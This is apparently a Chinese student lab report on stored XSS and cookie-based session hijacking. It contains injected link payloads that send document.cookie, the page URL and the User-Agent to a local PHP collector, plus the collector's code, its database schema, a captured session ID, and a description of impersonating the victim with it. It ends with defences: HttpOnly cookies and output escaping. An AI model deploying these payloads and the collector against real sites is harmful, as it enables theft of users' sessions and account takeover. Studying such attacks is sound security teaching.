XSS跨站攻击与Cookie验证欺骗实验

XSS跨站攻击与Cookie验证欺骗实验

一、实验目的

  1. 研究并实践XSS攻击的原理与实现方式。
  2. 实现通过XSS攻击获取网页地址、User-Agent及Cookie的方法。
  3. 提交实验代码与报告,验证攻击与防护效果。

二、XSS跨站攻击实现细节

1. 基本原理

XSS是一种通过注入恶意代码在用户浏览器中执行非授权操作的攻击方式。主要分为:

  • 持久型XSS:恶意代码存储在服务器,能长期触发。
  • 非持久型XSS:恶意代码不存储,依赖特定URL。
2. 利用XSS攻击Cookie验证

通过XSS脚本,将目标用户的Cookie发送至攻击者控制的服务器,绕过正常验证实现欺骗。

代码示例:
在留言表单中插入:

1
<a href="#" onclick="document.location='http://localhost/getsession/savesession.php?cookie='+escape(document.cookie);">Click Me</a>
  • 当管理员点击链接时,document.cookie中的SessionID被发送到http://localhost/getsession/savesession.php


三、实现网页地址、User-Agent和Cookie获取

1. 攻击代码

在留言页面注入如下代码:

1
2
<a href="#" onclick="document.location='http://localhost/getsession/savelog.php?cookie=' + encodeURIComponent(document.cookie) + '&url=' + encodeURIComponent(document.location.href) + '&userAgent=' + encodeURIComponent(navigator.userAgent);">Click Me</a>

2. 数据记录服务端代码

创建一个savelog.php文件,记录获取的数据:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
<?php
include_once "con_database.php";

// 捕获前端传递的参数
$cookie = isset($_GET['cookie']) ? $_GET['cookie'] : "No Cookie";
$url = isset($_GET['url']) ? $_GET['url'] : "No URL";
$userAgent = isset($_GET['userAgent']) ? $_GET['userAgent'] : "No User-Agent";

// 调试输出到日志文件
file_put_contents("debug.log", "Cookie: $cookie\nURL: $url\nUser-Agent: $userAgent\n", FILE_APPEND);

// 插入到数据库
if ($cookie && $url && $userAgent) {
$sql = "INSERT INTO logs (sessionid, url, userAgent) VALUES (?, ?, ?)";
$stmt = $con->prepare($sql);
if ($stmt) {
$stmt->bind_param("sss", $cookie, $url, $userAgent);
if ($stmt->execute()) {
echo "Data logged successfully!";
} else {
echo "Execution failed: " . $stmt->error;
}
$stmt->close();
} else {
echo "Statement preparation failed: " . $con->error;
}
} else {
echo "Invalid data received. Cookie: $cookie, URL: $url, User-Agent: $userAgent";
}

// 关闭数据库连接
mysqli_close($con);
?>

showlog.php

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
<?php
include_once "con_database.php";

// 查询日志数据
$sql = 'SELECT * FROM logs';
$rs = mysqli_query($con, $sql);

// 检查查询结果
if (!$rs) {
die("Query failed: " . mysqli_error($con));
}

// 显示结果
echo "<table border='1'>";
echo "<tr><th>ID</th><th>Cookie</th><th>URL</th><th>User-Agent</th></tr>";

while ($row = mysqli_fetch_assoc($rs)) {
echo "<tr>";
echo "<td>" . htmlentities($row['id']) . "</td>";
echo "<td>" . htmlentities($row['sessionid']) . "</td>";
echo "<td>" . htmlentities($row['url']) . "</td>";
echo "<td>" . htmlentities($row['userAgent']) . "</td>";
echo "</tr>";
}

echo "</table>";

// 释放资源
if ($rs) {
mysqli_free_result($rs);
}

// 关闭连接
mysqli_close($con);
?>

数据库

1
2
3
4
5
6
7
8
9
10
11
12
13
CREATE DATABASE IF NOT EXISTS lab;

USE lab;

-- 创建存储SessionID和其他信息的表
CREATE TABLE IF NOT EXISTS logs (
id INT NOT NULL AUTO_INCREMENT,
sessionid VARCHAR(256) NOT NULL,
url VARCHAR(512),
userAgent VARCHAR(512),
PRIMARY KEY (id)
);


四、实验结果

1. 攻击结果
  • 成功窃取网页地址、User-Agent和Cookie,并在服务端showlogs.php中记录:
1
2
3
Session ID PHPSESSID=6b5m2e67tdi26l28hjjcq093ff
URL http://localhost/xss/showmessage.php#
User-Agent Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:133.0) Gecko/20100101 Firefox/133.0
2. 验证Cookie欺骗

将SessionID设置为被窃取的值,访问目标页面,成功伪装为受害者。

3. 防护措施
  • 设置HttpOnly:禁止通过JavaScript读取Cookie:

    1
    setcookie('PHPSESSID', session_id(), 0, '/', '', false, true);
  • HTML转义:在输出前转义用户输入:

    1
    echo htmlentities($userInput);

五、总结

  1. 攻击实现
    • XSS攻击能够轻松窃取用户信息并实现会话劫持。
    • 利用脚本,获取地址、User-Agent和Cookie等敏感信息。
  2. 防护措施
    • 使用HttpOnly属性保护Cookie。
    • 对用户输入进行严格的HTML和JavaScript转义。
  3. 建议
    • 定期对网站进行漏洞扫描,防范潜在的XSS攻击。